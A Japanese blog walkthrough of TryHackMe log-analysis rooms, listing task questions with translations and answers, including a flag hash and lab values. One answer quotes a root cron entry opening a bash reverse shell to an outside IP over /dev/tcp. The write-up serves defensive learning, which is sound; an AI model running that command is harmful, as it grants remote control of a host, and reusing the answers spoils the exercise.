~ログ解析はお任せ! そんなセキュリティアナリストになりたい!~
目的


ログ分析は、セキュリティアナリストにとって欠かせないスキルです。
なぜログ分析が重要なのでしょうか?それは、ログの中に、セキュリティインシデント発生のヒントが隠されているからです。
セキュリティは未然に防ぐこと、被害を最小にすることが要求されます。
だからこそ、ログ分析は必要なのです。
まだTryHackMeにサインアップしていない人は以下の記事を参考にしてください!

Intro to Logs

なかなかにブラウザだと遅いので、ローカルのKaliからSSHで接続しました。
Task 2 <Expanding Perspectives: Logs as Evidence of Historical Activity>
1.What is the name of your colleague who left a note on your Desktop?
J:あなたのデスクトップにメモを残した同僚の名前は何ですか?
Perry
2.What is the full path to the suggested log file for initial investigation?
J:初期調査に推奨されるログ ファイルへの完全なパスは何ですか?
/var/log/gitlab/nginx/access.log
Task 3 <Types, Formats, and Standards>
1.Based on the list of log types in this task, what log type is used by the log file specified in the note from Task 2?
J:このタスクのログ タイプのリストに基づいて、タスク 2 のメモで指定されたログ ファイルで使用されるログ タイプは何か。
Web Server Log
2.Based on the list of log formats in this task, what log format is used by the log file specified in the note from Task 2?
J:このタスクのログ形式のリストに基づいて、タスク 2 の注記で指定された ログ ファイルではどのログ形式が使用されていますか ?
Combined
Task4 <Collection, Management, and Centralisation>
1.After configuring rsyslog for sshd, what username repeatedly appears in the sshd logs at /var/log/websrv-02/rsyslog_sshd.log, indicating failed login attempts or brute forcing?
J: sshd 用に rsyslog を設定した後、/var/log/websrv-02/rsyslog_sshd.log の sshd ログに、ログイン試行の失敗またはブルート フォース攻撃を示すユーザー名が繰り返し表示されます。
rsyslog設定後に確認!
stansimon

2.What is the IP address of SIEM-02 based on the rsyslog configuration file /etc/rsyslog.d/99-websrv-02-cron.conf, which is used to monitor cron messages?
J:cron メッセージを監視するために使用される rsyslog 構成ファイル /etc/rsyslog.d/99-websrv-02-cron.conf に基づく SIEM-02 の IP アドレスは何ですか?
cat 99-websrv-02-cron-conf
10.10.10.101

3.Based on the generated logs in /var/log/websrv-02/rsyslog_cron.log, what command is being executed by the root user?
J:/var/log/websrv-02/rsyslog_cron.log に生成されたログに基づいて、root ユーザーによって実行されているコマンドは何ですか?
cat /var/log/websrv-02/rsyslog_cron.log
/bin/bash -c “/bin/bash -i >& /dev/tcp/34.253.159.159/9999 0>&1”

Task 5<Storage, Retention, and Deletion>
1.Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, how many versions of old compressed log file copies will be kept?
J:logrotate 構成 /etc/logrotate.d/99-websrv-02_cron.conf に基づいて、古い圧縮ログ ファイルのコピーのバージョンがいくつ保持されますか?
24
2.Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, what is the log rotation frequency?
J:logrotate 設定 /etc/logrotate.d/99-websrv-02_cron.conf に基づくと、ログのローテーション頻度はどれくらいですか?
hourly
Task 6 <Hands-on Exercise: Log analysis process, tools, and techniques>
1.Upon accessing the log viewer URL for unparsed raw log files, what error does “/var/log/websrv-02/rsyslog_cron.log” show when selecting the different filters?
J:解析されていない生のログ ファイルのログ ビューアー URL にアクセスすると、さまざまなフィルターを選択すると、「/var/log/websrv-02/rsyslog_cron.log」にどのようなエラーが表示されますか?
http:MACHINE_IP:8111/~のURLをブラウザに貼り付けて確認!
no data field
2.What is the process of standardising parsed data into a more easily readable and query-able format?
J:解析されたデータを、より読みやすく、クエリが可能な形式に標準化するプロセスとは何ですか?
Normalisation
3.What is the process of consolidating normalised logs to enhance the analysis of activities related to a specific IP address?
J:特定の IP アドレスに関連するアクティビティの分析を強化するために、正規化されたログを統合するプロセスとは何ですか?
Enrichment
Intro to Log Analysis
Task 6<Log Analysis Tools: Command Line>
1.Use cut
on the apache.log
file to return only the URLs.
What is the flag that is returned in one of the unique entries?
J:cut
コマンドを使用してapache.logファイル
で、URL のみを抜き出してください。一意のエントリの 1 つで返されるフラグは何ですか?
cut -dオプションは区切り文字、-fは区切った結果の指定場所
c701d43cc5a3acb9b5b04db7f1be94f6

’ ’(空白で区切る)と7番目がURLを指定できる。

2.In the apache.log file, how many total HTTP 200 responses were logged?
J:apache.logファイルには、HTTP 200 応答が合計でいくつ記録されましたか?
3.In the apache.log file, which IP address generated the most traffic?
J:apache.logファイルでは、どの IP アドレスが最も多くのトラフィックを生成しましたか?
4.What is the complete timestamp of the entry where 110.122.65.76 accessed /login.php?
J:110.122.65.76 が/login.phpにアクセスしたエントリの完全なタイムスタンプは何ですか?
まとめ
今回はTryHackMeでログ解析の基礎の勉強をやりました。どこでNGになったか、原因は何かと足跡をたどることができるログは、仕事でも使う機会があると思います。
注意点
違法行為は絶対に行わない: 許可なく他人のシステムに侵入することは違法行為です。必ず、合法的な範囲内で実験を行いましょう。
倫理観を持つ: ハッキングは、倫理的な側面も考慮する必要があります。
情報漏洩に注意: 実験中に個人情報や機密情報が漏洩しないよう、十分に注意しましょう。